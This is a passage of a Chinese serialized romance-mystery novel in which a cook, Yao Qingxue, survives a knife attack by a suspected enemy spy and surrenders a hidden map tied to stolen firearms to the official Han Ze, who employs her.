韩莺怒:“你说我就算了,干嘛说我大哥,我大哥招你惹你了?” “哼,要不是你大哥我脚能伤?伤了还让我做肉脯,你说你兄妹俩是不是没良心?” “我大哥给你弄伤的?”韩莺眼睛瞪得老大,“怎么弄的?” “就是、”三两句话说不清楚,而且韩莺本就对她有误会,算了,不说了。 她欲言又止的样子,看在韩莺和姜玥瑶眼里就是另一番情景。韩莺吃饱饭打厨子,话里话外让姚轻雪别肖想她大哥,她表姐才是表哥的良配。 姚轻雪心想真要如此,你俩还来我跟前嘚瑟什么?表妹在表哥面前一哭,韩泽早把她撵走了。再说韩泽看姜玥瑶的眼神里根本没有情爱。“表哥表妹生出的孩子大多有问题,不是痴傻就是体弱多病。” 韩莺:“胡说八道,我朋友爹娘就是表哥表妹,她好着呢?” “你确定她没毛病?”姚轻雪问。 韩莺不说话了,她那个朋友好像不太聪明。 姜玥瑶一直在旁边冷眼旁观,听到这话赶紧问:“姚厨娘你说这话可有道理?”她喜欢表哥不假,但可不想生出傻孩子。 “道理你可以自己去寻,京城那么多郎中,多问问便知,虽然不是绝对,但表兄妹结合生下孩子出问题的可能性较大,摊不上是幸运,摊上了,别人会说是天意或是不祥。” 姜玥瑶突然想起一位朋友,生下来身体就不好,她爹娘便是表兄妹。而她上头夭折过两个哥哥,在她出生前父亲就纳了妾,妾生的儿子好好的。他父亲觉得她母女不祥,对她们很冷淡,她前年及笄但婚事一直没有着落。 姜玥瑶一个激灵,就像姚轻雪说的,遇不上是幸运,摊上一辈子就毁了,表哥不会多看他一眼,姨母甚至爹娘也会怨她不争气,到那时所有的错都是她的。 韩莺见姜玥瑶脸色煞白,忙道:“表姐你别听她乱说,她就是吓唬你。” “我有分寸。”姜玥瑶拉起表妹的手,“走吧,表姐给你买荷花糕去。” 韩莺就是小孩子心性,有吃的,她也顾不上姚轻雪,跟着表姐走了。 晚上韩泽回家问起此事,姚轻雪纳闷,表姐俩这么快就去找韩泽告状?这嘴巴也太快了吧? “韩大人,看在咱俩主仆一场的份上,我也给您提个醒,表兄妹成亲生出痴傻、残疾、病弱孩子的可能性要比一般人高。您在大理寺见多识广,想要验证此事应该不难。” “你如何知晓此事?”真假他自然会验证,但姚轻雪言之凿凿半点犹豫都没有,这让韩泽十分奇怪。 第28章 第28章终究还是来了 姚轻雪开始胡诌:“我在安国公府看过一本书,一位老郎中用一生总结出此事。”反正赵家没了、书也不会有,死无对证、查无此书。跟她一点关系没有。 “看?”韩泽笑吟吟地看着她,姚轻雪反应过来赶紧改口:“听,赵琨读,我听。”忘了她以前不识字。 “安国公府规矩甚大,你一厨子去赵琨书房做什么?”韩泽紧追不放。 姚轻雪觉得韩泽的关注点错了,不过也没多想,这大概是办案人的特点,喜欢刨根问底,“赵琨让我去他书房。”其实不是书房,是卧房啊。 韩泽皱眉:“你去了?” “不然呢?”姚轻雪看他,“主子让干啥不就得干啥。” 赵琨那人风流,表面装得好,但韩泽把赵家查的底朝天,赵琨做的那些事他都知道。韩大人冷笑:“赵琨的话你言听计从,怎么没见你这么听我的话?” “那不一样,我上房揭瓦您顶多让我把瓦补上,赵琨、”姚轻雪顿了一下。 “赵琨怎么了?”韩泽眯了眯眼。 “没什么。”人都不在了,还是别说有的没的了。“对了,大人,我家芽芽的户籍,什么时候能办?您可是答应我了。” 上次赴宴之后,韩泽心情都不怎么好,这两天又上火嘴上起泡,姚轻雪就没敢提这茬。这些日子她变着花样给他做膳食,又伺候韩莺和他表妹,算是变相讨好,昨晚还让他伤了脚丫子,得趁这个机会让他把事办了。 “明日带你妹妹去大理寺找我。”一个户籍而已,办就办了吧。 姚轻雪立马露出笑脸,恭恭敬敬给他行了一礼:“多谢大人!” 韩泽撩起眼皮子看她:“明早排骨焖面。” “没问题。”姚轻雪笑着应下,别说是排骨焖面了,就是想吃猪头她也给扛回来。 韩泽觉得这女人势利。让她高兴,她就乖巧顺从,变着花样做吃食。不然就很能应付,甚至敢甩脸子给他这个雇主。 次日早膳后,她碗筷都没收拾就回家把芽芽领出来,姐俩找到姚福和刘氏的摊子,把家里钥匙给他们。然后姚轻雪带着芽芽去大理寺找韩泽。衙门有人就是好办事,韩泽领着,姚轻鸿的户籍很快就办下来了。 出了衙门还不到巳时,姚轻雪问:“大人,中午想吃什么?” 韩泽见她高兴,不知怎地心里也觉得舒服,“随便,看着做吧。” “大人,您又随便。”姚轻雪无奈,韩泽不爱点菜,嘴巴还挑,这让厨子很难做。 韩泽:“……”他忘了“随便”在他家厨娘这儿是一道菜。赶紧改口:“不要把乱七八糟的东西放一起煮。” 姚轻雪笑起来,“好。”告别韩泽,她领着芽芽买菜。中午打算做烧麦、虾饺、炸鱼、酥炸肉。手指长的小鱼,腌后下油锅里炸,骨头都是酥的。芽芽最爱吃这个,刘氏嫌费油不怎么做,今日就假公济私让芽芽吃个够。 芽芽在灶房帮姐姐烧火,她怕韩泽不喜她在这,担心自己会给姐姐惹麻烦。“姐,韩大人会不会不高兴?” 姚轻雪摸摸妹妹脑门,“放心吧,韩大人很好,不会在意这些,你是不是觉得他板着脸特别吓人?” 芽芽点头,“他都不笑。” 姚轻雪弯腰跟妹妹小声说:“其实他很挑食。” 芽芽眼睛瞪大,那么大的人还挑食? 姚轻雪似乎知 道她在想什么,点了点头,“别看他整日板着脸,但人还不错,他帮过姐姐,还给你办户籍。你的户籍李叔都办不下来。” “嗯,我知道了,韩大人是好人。”小姑娘用力点头。 芽芽在韩家待了大半天,才被姐姐送回葫芦巷。小孙女京城的户籍办下来了,刘氏高兴,听孙女说韩大人喜欢吃腊肉,便把家里仅剩的一块腊肉让姚轻雪拿回去。 芽芽户籍办下来,心头的一块大石头终于落地。姚轻雪卖力准备膳食,以前一顿一两个菜,现在顿顿三菜一汤。日日买一篮子菜回来。 这日买完菜,姚轻雪顺路去看姚福和刘氏。见爷爷忙不过来,便去帮忙。她正低头忙着给客人包东西,听见头上有人道:“是你?” 姚轻雪抬头,然后笑了:“玉姑娘!”来人正是凤仙楼的玉美人。 玉美人笑着道:“我们又见面了。” “算上这次,我见您四回了。”姚轻雪把卤味交给食客,转过头来问:“姑娘怎么到这来了?” “我听说这边有家卤味摊不错,便想过来瞧瞧,没想到是你。”玉美人要了几样,临走前问道:“姑娘刚说见过我四次?我怎么不记得?” “我在张家做过厨子,张、”姚轻雪突然顿住,张家和赵家都没了,她现在说这些显得晦气,人家或许不爱听。便改口道:“没什么,姑娘吃好了再来。” 玉美人点头告辞,转身后脸上的笑消失不见,张家?哪个张家? 两日后,姚轻雪买完菜往家走,她穿过几条小巷,巷子里不像大街上人那么多,有时一个人碰不到。她平日都是从这里回太平巷。 姚轻雪挎着篮子走进巷子,这条巷子并非笔直向前,而是有个弧度。就在她走过弯道不久,前方走来一戴草帽穿着黑衣服的男子。 就在两人错身时,那人突然抬起手,向姚轻雪脖子落下。姚轻雪对人一向警觉,尤其是陌生人,这人大热天黑衣黑裤还把帽檐压那么低,她正觉得奇怪。眼角余光一直打量那人,就看见他举起刀子对着自己脖子扎下来。 姚轻雪下意识下抬起左边胳膊,匕首穿过篮子扎进了她的手臂,姚轻雪一声惨叫。那人拔出匕首,准备来第二下。姚轻雪把篮子往他身上一甩,转头就跑并大喊:“救命!” 那人几步追上来抓住姚轻雪的衣服,眼看着就要给她后心口扎上一刀。那人突然一声闷哼,低头一看,屁股上扎了一枚飞镖。紧接着一人来到他近前。 黑衣人顾不上姚轻雪,与这人打斗起来。姚轻雪趁机逃出巷子,她胳膊上血葫芦似的,一出巷子就吸引了很多人的目光。 刑部衙门的褚景尧恰巧经过此地,见状驱马过来查看。姚轻雪见他穿着官服,便把巷子里的情况简短说明。 还不等她说完,杜七就从巷子里跑出来。那人跑了,他没追,怕姚轻雪这边再遇到杀手。 褚景尧以为他要杀姚轻雪,就想拿下。杜七赶紧亮明身份。“自己人,自己人,大理寺韩少卿手下。” 褚景尧看了杜七的腰牌,“人我带走。” “别。”杜七赶紧拦住,“这人您不能带走,她是我们大理寺要的人。” 褚景尧冷笑:“大理寺能耐大,我没意见,但本案发生在街上,该由府衙处理,你们大理寺管太宽了,这人我得带走。”这话说出来可不像是没意见。 杜七挡在姚轻雪身前:“他是我大理寺重要证人,此次遇袭与火器丢失案有关,这人我必须带回大理寺,还请大人见谅。”这要是把姚轻雪弄丢了,韩泽饶不了他。 火器丢失案?褚景尧一顿。此案陛下交给大理寺追查,至今未破。既然是与火器丢失案有关,人他还真不能带走,谁都知道韩泽得陛下器重。“火器你们大理寺找了这么久还没找到?韩少卿都在干什么?” 杜七赔笑:“机要信息恕在下不能多言。” 褚景尧皮笑肉不笑道:“想说也没什么可说的吧,查了这么久,死的死,没的没,一根毛都没找到。替我转告韩少卿,若需要刑部帮忙尽管开口。”火器丢失案就是烫手的山芋,谁接谁头疼,他就等着看韩泽笑话吧。 “多谢多谢,小的一定转告韩少卿,大人慢走。”等人走后,他撕了衣服给姚轻雪止血,简单包扎后道:“走吧,姚厨娘。”他已经在姚轻雪面前露了脸,干脆不瞒了。 “你是韩泽的人?”不对,姚轻雪上下打量杜七,“你是那个货郎?” 姚轻雪终于想起来了。那日在城外见到韩泽的一个手下感觉眼熟,而那人就是眼前这位做货郎打扮的男人。货郎她见过数次,在葫芦巷、太平巷,平安大街。还在他那里给芽芽买过糖,他竟然是大理寺的官差? 姚轻雪有些懵,完全不知道怎么回事?“官爷,能告诉我是怎么回事吗?” “到了大理寺你自然就清楚了。”杜七不肯说,姚轻雪迷迷糊糊被带到大理寺。 看见姚轻雪胳膊和前胸的衣服都被血染透了,韩泽只觉得心尖一疼,上前抓住她胳膊查看,姚轻雪闷哼一声。 杜七赶紧道:“属下检查过了,没有毒,伤得也不深,郎中已经在来的路上了。”他话音刚落,大理寺常用郎中便背着药箱跑进来。 韩泽不忍多看便走出房间,他问杜七:“怎么回事?你不是跟着吗?” 杜七把事情一说,韩泽陷入沉默,终究还是来了。 第29章 第29章“监视为主,保护为辅?…… 姚轻雪差点被杀,把大理寺卿陆方都惊动了,他放下公务找到韩泽了解情况。杜七把巷子里发生的事原原本本讲述一遍。 陆大人听后对韩泽说道:“看来是你猜错了,这厨娘与北齐细作并无关联,不过倒也不算坏事,阴差阳错你倒是把人保住了。” 韩泽心情复杂,把姚轻雪当北齐探子是他犯得最严重的错误,同时他又感到庆幸。没有怀疑,便不会派人跟踪。今日没有杜七,姚轻雪必死无疑。杜七说杀她那人是高手,从武功路数上看十有八九是北齐细作,如此姚轻雪就不可能是北齐探子。 今日这人下手狠绝,意在一刀要人命,而先前死去的那些人多少都受过折磨。从这点上看,姚轻雪遇袭与张家遇害的那些人有明显不同,恐怕不是同一伙人所为。有一点韩泽想不通,若杀张家奴仆者另有其人,那么北齐探子为何突然要杀一个平平无奇的厨娘? 陆方见他久久不说话,以为他受了打击,陆大人拍拍属下肩膀。“别灰心,姚轻雪虽不是北齐探子,但与北齐细作必有瓜葛,不然他们不会冒着暴漏的风险杀她,以这厨娘为饵找到北齐在京城的探子组织也未尝不可。” “大人说的是。”韩泽心里稍稍宽慰了些,他最初的怀疑或许歪打正着,北齐探子要杀姚轻雪一定有原因。 一炷香后,郎中背着药箱出来。“伤无大碍,好好养着月余便好,随我去抓药吧。” 高飞随郎中去抓药,韩泽去看姚轻雪。他家一向神采奕奕的厨娘,此时却脸色苍白地靠在椅子上。韩泽倒了杯茶放到她面前。 姚轻雪扯了扯嘴角:“您应该给我来碗猪血,吃啥补啥。” 韩泽:“……”还知道说笑,看来是没事。“猪血回家给你补上,我来问你:今日那人为何要杀你?” “我不认识他,以前也没见过,他为何要杀我,我完全不知道。”姚轻雪也是一头雾水,她做梦都没想到有一天自己会被人杀。“我没有与人结过仇,爷爷奶奶一向与人为善,宁可自己吃亏也不会得罪人,我实在想不出谁会想杀我。” 仔细想想巷子里那人就不是普通人。她自来到这以后只跟葫芦巷的杨婆子起过嫌隙,但杨家母子不会有这个胆量雇凶杀她。 韩泽盯着她,见她一脸茫然,似是真不知情。便没有拐弯抹角:“你可知张迁因何抄家?” 姚轻雪愣了愣,然后轻轻摇头,外面传张迁渎职贪污。李 通不让她打听,她就没敢打听,到底是因为什么她还真不知道。 韩泽:“张迁监守自盗把工部的一千件火器偷走,大理寺找了半年,至今没找到下落。” 火器?姚轻雪突然意识一个问题,藏宝图藏的或许不是金银财宝。她试探着问:“一千件火器也没多少银子吧?再说这跟我有什么关系?” “不过十万两白银,但一千件最火器武装的军队抵得上几万兵士,若是让有心人拿去使用,或是大批制造,会是什么后果你想过吗?别说是你一条命,就算要赔上大理寺百余人的命、”韩泽顿了顿,“你觉得这是银子的事?至于跟你有何关系?这就要问你自己了。” 姚轻雪只觉得遍体生寒,她从未想过那张图会牵扯这么大,她以为只是钱财,而且她也没打算找到以后全部据为己有。 现在若是把图交出来,说不定会被当成张迁同党或是叛党。她相信韩泽,但韩泽上头还有上司,真到了那个时候,大理寺少卿即便有心救她,也是毫无办法。况且,韩泽找了那么久,结果图在她身上,韩泽不怪她就不错了,怎么可能不遗余力地救她? 姚轻雪不敢赌,为了一家老小的安全,她决定抵死不认。“民女孤陋寡闻,并不知道火器有那么重要。您问与我有何关系,我真不知道。” 韩泽知道什么?还是在诈她? “敌国也想得到这批火器,从张家出来的每一个人都被盯上,今日要杀你的就是北齐探子。”韩泽盯着她看,说到北齐,姚轻雪神色毫无波澜,甚至有些茫然,他彻底松了口气。 他现在可以肯定姚轻雪不是北齐细作,被跟踪这么久没察觉,今日还差点被抹了脖子,北齐那个女探子可没这么废物,不然也不会让他找这么久毫无所获。 敌国都牵扯进来?事情完全超出了姚轻雪的想象,她稳了稳心神,努力不在韩泽面前漏出破绽。“我在张家也只是个厨子,与还是工部侍郎的张迁仅有一面之缘,张夫人和吴姨娘倒是见得多,但她们也不可能把这么重要的事情告诉我。” “姚轻雪,从张家出来的奴仆死了几个,都是被人折磨致死,那些人能杀你一次,就能杀你第二次。”韩泽直觉姚轻雪有所隐瞒,“火器丢失,陛下震怒,你知道什么,今日都说出来。我可保你无虞,若是知情不报,日后被查出来便是重罪,你要想清楚。” 姚轻雪惨笑:“韩大人,我只是个厨子,整日待在后厨,见主子的次数有限,我能知道什么?照您所说从张家出来的人都有嫌疑,或许有旁人知情也说不定,我真的什么都不知道,我不会拿性命当儿戏。” 今日那人上来就要杀她,而不是向她索要图纸。姚轻雪猜他不知图的存在。不是因为图,那为何要杀她?姚轻雪也想不明白。 见她脸色很差,韩泽没再问下去,让她回家休息。姚轻雪起身的一瞬只觉头晕眼花身体一晃,今日又惊又吓,再加上失血过多,她很没精神。韩泽扶了一把没让人倒下去。 “多谢!”姚轻雪缓了缓,慢慢往门口走,走了几步突然回头问:“送我回来的官差为何总出现在我身边?” “从张家出来的人都有人保护。”韩泽面不改色地撒谎。 姚轻雪点点头,走了两步又回头:“有人保护还被杀了?” 韩泽:“总有失误的时候,大理寺也不是万能的,你还活着。” 姚轻雪看着他:“监视为主,保护为辅?” 韩泽:“……”还挺敏锐。 见他没说话,姚轻雪知道自己猜对了。“我从何时被人监视?” “安国公府抄家之后。”事到如今也没必要隐瞒,韩泽实话实说。 姚轻雪大为震惊,被人跟踪监视这么久,她竟然一点都没有察觉,还傻傻地出城找财宝。韩泽怕早就对她起疑了吧? 不过仔细一想,韩泽即便有怀疑也不大可能知道她手里有图,当时在张家若是没人看见她和吴姨娘碰面,图的事这世上就只有她一人知情。这么想姚轻雪稍稍放了心。若是韩泽知晓,她怕早进大理寺地牢了。 那张图,不能留。姚轻雪说想回姚家养伤。 韩泽:“你想好了,在我身边,没人能杀得了你,若回姚家,你爷爷奶奶和妹妹可能都会有危险。” 韩泽说的没错,待在他身边才是最安全的,但她得回家一趟。“衣服不够穿了,我回家拿两件换洗衣服。” 他家厨娘很节俭,平常穿的都是旧衣服,上次去徐家赴宴给她买的新衣被她还了回来,现在在他房里放着呢。“好,我让杜七送你回去。” “谢谢!”姚轻雪颔首道谢,说到回家,她突然想到:“大人,那些人会不会对我家人下手?”她最怕的就是这个。 韩泽见她眼圈微红,刚才处理伤口那么疼都没哭,说到家人便不忍了,他语气软了几分:“葫芦巷有大理寺的人看守,放心吧。” “多谢大人!”姚轻雪用好的那只手抹了下眼睛,“麻烦您上点心,派几个厉害的过去,可别像其他人那样有人看着还被杀了。” 韩泽:“……”自己的事没弄明白,还敢跟他提要求? 杜七用大理寺的马车把人送回葫芦巷,不然姚轻雪那一身血,得吓坏不少路人。 姚福和刘氏还在街上卖卤味,芽芽见姐姐身上全是血,小丫头吓哭了。姚轻雪安慰妹妹,说自己不小心碰到了,哄好了芽芽,她回屋把那张图找出来。 姚轻雪想把图烧了,又有些不忍。韩泽为找火器费尽心思,韩大人帮她不少,还给芽芽上户籍。如果这张图是唯一线索,烧了就没人能找到火器,这可能会成为韩泽的心病,她这么做会不会忘恩负义? 思来想去姚轻雪没烧,图留在姚家不安全,她换了身衣服便回了太平巷。在她回来之前韩泽派人把药送回来。等她到家曹叔已经煎好药,煮了猪肝,还蒸了一大碗猪血。 姚轻雪有点感动,她没帮到韩泽,韩泽却把她的话听进去了。曹叔从来不为自己下厨,却了为她在灶房忙了半个时辰。只不过猪血腥味重,猪肝煮老了。姚轻雪喝了治伤的药,又吃了点猪肝猪血才回房躺着。 虽然头很晕,她却睡不着,该怎么处理这张图呢? 第30章 第30章给图 留——怕惹祸上身,烧——觉得对不起韩大人。姚轻雪左右为难,直到韩泽回家她也没拿定主意。 午膳是韩泽从外头带回来的,韩大人想着他家厨娘有伤在身下不了厨,便去最近的食肆买现成的。等待时见有人买补血药膳,便问了一嘴。 跑堂的以为他买给家中娘子,常有郎君每月定时给自家娘子买补血药膳,便给他推荐:“本店当归红枣乌鸡汤颇受娘子们喜欢,吃上几日便会气血充盈,恢复往日神采。” 一听这么好,韩泽当即掏出银子定了半个月的当归红枣乌鸡汤,叫食肆每日送去太平巷。 跑堂的愣了愣,不太确定地问:“您家娘子可是身体太过虚弱?”一般女子月事补几天就够了,不然过犹不及。 韩泽点点头,姚轻雪失血过多,身体虚弱是肯定的,郎中说她得养一个月,那就先吃半个月。他记得母亲和妹妹偶尔也会吃补血药膳。只是让韩家厨子过来做,免不得又是一番麻烦,韩莺才消停没几天。 姚轻雪端着韩大人买回来的乌鸡汤很感动,加了当归的鸡汤其实并不好喝。为了身体,她捏着鼻子喝下去。 外面买的饭菜韩泽吃的没滋没味,垫了垫肚子就去上直了。走之前叮嘱姚轻雪不要离开家。太平巷离大理寺不远,这边常有大理寺官差路过,有人想来他家里杀人得掂量掂量。 姚轻雪贴着门,听见大门合上的声音,没一会儿曹叔也回屋了,曹叔有午睡的习惯。她等了一盏茶的功夫,悄悄打开门蹑手蹑脚去了书房。 片刻后姚轻雪做贼似的从书房出来,回到房间后她心里七上八下,不知道自己这么做对不对?越是纠结越是怀疑,然后就后悔了。她想去书房把图拿回来,刚走到书房门口大门突然响了。 见他家厨娘像受惊的兔子似的逃回房间,韩泽勾了勾嘴角,他装模作样 去书房。姚轻雪把房门打开条缝听外面的动静。见人去了书房,她的心提到了嗓子眼,暗自懊恼该早一步。 “咚咚”突然响起的敲门声把她吓一哆嗦,姚轻雪稳了稳神打开房门。 韩泽把手里的纸举她眼前:“你画的这是什么玩意?” “不是我,你书房又没锁,兴许是有人偷偷进去过。” 韩泽意味深长地看着她,姚轻雪一拍脑门,人家什么都没问,她一紧张自己全招了。 “桌上的笔墨用过,家里只有你和曹叔,曹叔从来不拿笔。”韩泽抖了抖手里的纸:“墨是贡墨,只有皇宫才有,陛下赏赐给我,纸是大理寺专用,除了我的书房,别处想凑齐这两样难,你不认?” 其实姚轻雪趴他桌上画的时候,杜七都看见了,估计他家厨娘认为书房很安全,殊不知这么长时间杜七和封八都在书房里监视她。这张纸早在她走出书房后不久就被送去大理寺。韩泽回家进书房不过是装装样子。 姚轻雪傻眼,她只想到自己的劣质笔墨会露馅儿,却没想到韩泽用的东西这么有来头。 “我心血来潮随便画画。”她去抢韩泽手里的图。 韩泽一把攥住她的手腕:“你画的是哪座山哪个峰?东西就藏在这里?你总往城外跑,就是为了找这地方?” 姚轻雪甩了甩手,没甩开,韩泽的五指像钳子似的牢牢抓着她的手腕。她气道:“我哪知道,你看不出来我更看不出来,不然我早找到了。” 说完她发觉又说错话了,自己在韩泽面前总是没什么防备心,韩泽是不是她下了蛊? 算了,反正也露了,干脆都说了了吧,“图是张迁妾室吴姨娘给我的,说是藏宝图。放手,疼。” 韩泽看一眼她发红的腕子,讪讪地松开手。姚轻雪揉着手腕瞪他一眼,转身回屋坐到桌边。 “对不住。”韩泽心虚地摸摸鼻子,他也没用多大力气,怎么跟面做的似的。韩大人跨步进屋坐到桌子对面。“吴姨娘无缘无故为何把藏宝图给你?” “让我照顾她的猫,然后就把张迁枕头里的图给了我,说是藏了金银财宝,那猫现在就在我家。”姚轻雪没把芽芽的事说出来。妹妹的身世知道的人越少越好。 “为了一只猫,给你藏宝图?你觉得我会信?”韩泽不信。她嘴里没有一句实话,上午他还以为冤枉了人,下午她就把她画出来。 “这你就不懂了。”姚轻雪继续编:“有人把宠物当孩子养,吴姨娘无儿无女把感情都寄托在宠物身上,那只猫跟她亲儿子差不多。那种情况下她为了猫儿子把藏宝图给我也可以理解。” 韩泽不懂这类人什么心思,畜生就是畜生,怎么能跟儿女比。“所以你一直以为这图上藏的是金银财宝?” “不然呢,早知道不是财宝,我早把图扔了。”姚轻雪越想越气,“吴姨娘说是藏宝图,我就以为是,谁知道她死到临头还骗人。” 韩泽看她一眼,这像是她能干出来的事,眼里都是银子,别的东西不见得让她这么费心思。当初他就是每月五两银子把人骗家来的。 “吴姨娘不见得知道真相。”以张迁的为人,不会轻易将此事告知于人。吴姨娘在张迁心里有多少份量,他不得而知。 韩泽问了姚轻雪与吴姨娘那次碰面的细节,姚轻雪小心回答。事到如今没什么可隐瞒,主要不能露了芽芽。 韩大人晃了晃图:“你知道大理寺为了找它费了多少人力物力?我用了多少心血吗?再找不到我大理寺少卿的位置也保不住了。”即便陛下不罚,他自己都没脸待下去。 真是踏破铁鞋无觅处,得来全不费工夫。他对姚轻雪的怀疑是错了,但把她弄到家里是最正确的选择。不然,哪里能拿到图?此宝非宝却胜宝,这一千件火器可比金银财宝贵重,只是他家厨娘没命得罢了。 “你没找到,别人不是也没找到?幸亏在我手里,若是在旁人手里,还不一定怎么样呢,你得到图我功不可没。”姚轻雪小声说,说着说着便理直气壮起来:“你说过会保我无虞,你得说话算话。” 韩泽不得不承认她说的有理,换一个人图怕早落到北齐细作或是别的什么人手里了。 见他不说话,姚轻雪担心起来。“怎么?韩大人想赖账?” 看着凶巴巴,实际紧张的呼吸都乱了,韩泽暗自好笑。“放心,我说过的话自然算数,东西没有找到前,你要待在我家里,不然我不能保证你的安全。” “没有问题。”姚轻雪松了口气,只要韩泽肯保她,朝廷对她不予追究,怎么都好说。等找到火器,想来她也就安全了。 “你确定没画错?”韩泽拿着图左看右看都看不出来是什么地方。 “不会错,一个墨点都没错,就这么几条线,想画错都难,我早记在脑子里了。图肯定是没错,但是不是你要找的就不知道了。” “对了,我能问问吴姨娘是怎么死的吗?”姚轻雪只听说吴姨娘死了,但她到底是怎么死的,到现在都不清楚。 韩泽看她一眼,低头继续看图,在姚轻雪以为他不会说时,韩大人道:“被张的奴仆杀了。”女犯关在一处,与张夫人和吴姨娘关在一起的婆子夜里勒死了张迁的妻妾。 姚轻雪张大嘴巴,就在她以为这个消息够惊骇时,韩泽又道:“那婆子曾受过张迁恩惠,猜测是张迁授意。” 自缢后,再让人杀了妻妾,姚轻雪打了个冷颤。绝对不能让芽芽知道身世。亲爹杀了亲娘,身为他们的女儿怕是一辈子都不能释怀。姚轻雪捉摸不透张迁这个人。好像对谁都不在乎,妻子、妾、女儿,甚至他自己的命。一个人能狠绝至此也是人间少有。 韩泽看了许久也没弄清楚,就问:“原图还在吗?” 姚轻雪想了想,起身从床头的枕头里拿出荷包,从里面掏出一张皱巴巴的纸。 韩泽小心地打开原图仔细端详,与姚轻雪画的并无二致。“这到底是什么地方?怎么会如此简单?” 姚轻雪摇头,“我也想不明白,这图画出来有什么用?” “或许这张图背后另有玄机,只是我们还不知道。”韩泽把纸翻了个面,指着上面一条墨渍问:“背面写的什么?” “没什么,我刚会写字时随便写的。”后面是吴姨娘写的芽芽的住址,因为这个姚轻雪才没敢把原图给韩泽。现在既然选择相信他,那便不在留了。“我听说有的纸经过特殊处理,这张图会不会也是?”这也是她没有烧掉图的原因。 “我拿去大理寺。”韩泽把图小心收好,他突然想到一个问题:“你如何把图带出张家?”抄家时所有人都搜过身的。 姚轻雪看看他,知道不把话说清楚这人不会罢休,与其说给别人,还不如让韩泽知道。“放肚兜里带出来的。” 韩泽沉默,片刻后道:“看来抄家抄得不够彻底,以后亵裤都得搜一搜。” 姚轻雪:“……”【你现在阅读的是 】 30-40 第31章 第31章该认怂就得认怂 “大人!”姚轻雪叫住走到门边的韩泽:“能不能不把我与图有关的事说出去?” “哼,怕了?”韩泽冷哼道,“胆子不是挺大吗?” “那得看时候。”姚轻雪嘟囔。该硬气时就要硬气,该认怂就得认怂,毕竟命只有一条。 “事关重大,我无法替你隐瞒,不过也不用太过担心,找到火器你有功,将功补过,陛下不会怪罪,或许还有赏。” 陛下不是糊涂之人,时至今日,在多方势力争抢的情况下,这张图能完好地被大理寺拿到,姚轻雪确实有功。只要凭此图找到火器,皇上绝对不会跟一个小小厨娘过不去。现在难就难在如何破解这张图。 迈过门槛的韩泽回头问:“葫芦巷你的房间也搜过,这图你藏哪儿了?”姚轻雪所待 之处均检查过,这图竟然没找到。 原本他以为找到了但没在意,毕竟谁都不会把这几条线和那么重要的东西联系到一起。但问过杜七后才知他压根没看见过这张图。韩泽就好奇他家厨娘把图藏哪儿了? 家里都被搜过?姚轻雪冷汗直流,眼神飘忽,但韩泽不走,她只好硬着头皮小声道:“用肚兜包着放在衣服最下面。” 韩泽揉揉额头,又是肚兜?杜七怕是没碰姚轻雪的贴身衣物,若是陈九或许能发现也说不定。得提醒他们以后注意。韩泽出去没一会儿又回来了,他把一个包袱放到桌上,“你不穿,打算让我穿?” “……这些衣服很贵,拿去伊云阁能退不少银子。”上次去徐家赴宴回来后,姚轻雪就把衣服和首饰包好还给了韩泽。这些东西她一年工钱都买不起。 “用不着,我不缺这点银子,你家里的衣服别再穿了。”韩泽留下一句没头没脑的话走了。 姚轻雪一头雾水?她衣服怎么就不能穿了? 烫手的山芋终于甩了出去,姚轻雪一身轻松,头都没那么晕了。 “是这家吗?” “是吧。” 院墙外传来两道声音,姚轻雪听着耳熟。她走出房间打开院门就看见姚福抬起手准备敲门。 “雪儿!”刘氏惊呼。她快步上前拉着孙女上下打量,见她左边胳膊吊着,脸上顿时失了色:“这是怎么弄的?咋就受伤了?严不严重?” 她和老头子卖完货回到家,芽芽说她姐受伤了,老两口急坏了了,放下东西就往太平巷跑,打听了几家才找到韩少卿家。 “收拾灶房时,不小心撞到了柱子,没大碍,您别急。”姚轻雪把安慰芽芽那一套拿出来。见孙女胳膊腿都能动,确实没什么大事,两位老人稍稍放了心。 “爷爷奶奶,进来喝口水。”瞧他俩的打扮怕是没在家耽搁就跑来看她了。虽然不是亲生的,但他们对她掏心掏肺的好。 姚福站在门口瞧着院子,“不了吧,我们就过来瞧瞧,你没事就好。”这可是大官的家,岂是他们这种人能随便进的。对于普通百姓,大理寺少卿就是天大的官。 刘氏也不大敢进,只在门口往院里探头。这院子不大,甚至没有他们家院子大,但房屋、院墙都完好,屋顶的瓦片在阳光下泛着光亮,大门也是刚漆过不久,不像他们家年久失修只剩下残砖碎瓦了。 “无事,进来坐吧。”姚轻雪一个一个把人拽进院。 曹叔听见动静从屋里出来,和二老打了招呼,他让姚轻雪进屋与爷奶说话,他去灶房烧水沏茶。 姚轻雪道谢,进屋后刘氏小声问:“韩大人那么大官家里就一个老仆和你一个厨娘?”哪个当官的仆人这么少? “这院子是韩大人为了上直方便临时租的,真正的家在别处,我只负责膳食,其他的都是曹叔做。”韩泽乃世家子,他父亲是赫赫有名的镇远将军。从韩莺身边的丫鬟婆子就能看出将军府不缺仆从。只是韩泽是个异类,曹叔说他从小就不喜欢前呼后拥,喜欢独来独往。 原来是这样,不是光使唤她孙女一人干活就行。刘氏又把心思转到姚轻雪的伤上。“出了那么多血真没事?”听芽芽说她姐回家时,身上的衣服都快被血浸透了,撞柱子咋能出那么多血。 “柱子上有个钉子,血出的多,看着吓人其实没事。”姚轻雪道。 刘氏还是不信,非要看伤口,姚轻雪就“唉呀唉呀”装疼,“奶,郎中都给绑好了,您解开我又遭一回罪。” “别折腾孙女了。”姚福拦住老妻,“伤都伤了,你瞧一眼还能长上?” 刘氏白他一眼,转头对孙女道:“既然伤了那就回家吧,你胳膊不能动,下不了厨,干脆辞了这份儿工回家。” “奶,我这算工伤,养伤阶段开销都由韩大人负责。有吃有喝,药都不用花钱,还有当归乌鸡汤红喝着,回家都得咱自己拿银子,我不回。” “自己拿就自己拿,咱家不缺你那点药钱,回去奶奶也能照顾你。”刘氏有钱底气就足,便看不得孙女受一点点委屈。都受伤了还不放人回去,哪有这样的主家。 无论怎能说,姚轻雪就是不愿回家,刘氏和姚福对视一眼,两人心里都在打鼓。韩大人他们没见过,芽芽说长得挺好看,孙女执意不回家,莫不是被他迷住了? “韩大人,他成亲了没?”刘氏小心地问。 姚轻雪觉得好笑,她奶估计是想多了,“没有。”但喜欢他的姑娘不少,韩泽可不缺桃花。 “他都这么大、”刘氏想说都这么大了怎么还不成家?她家孙女是被家里耽搁了,韩大人肯定不是因为家里穷娶不上媳妇。 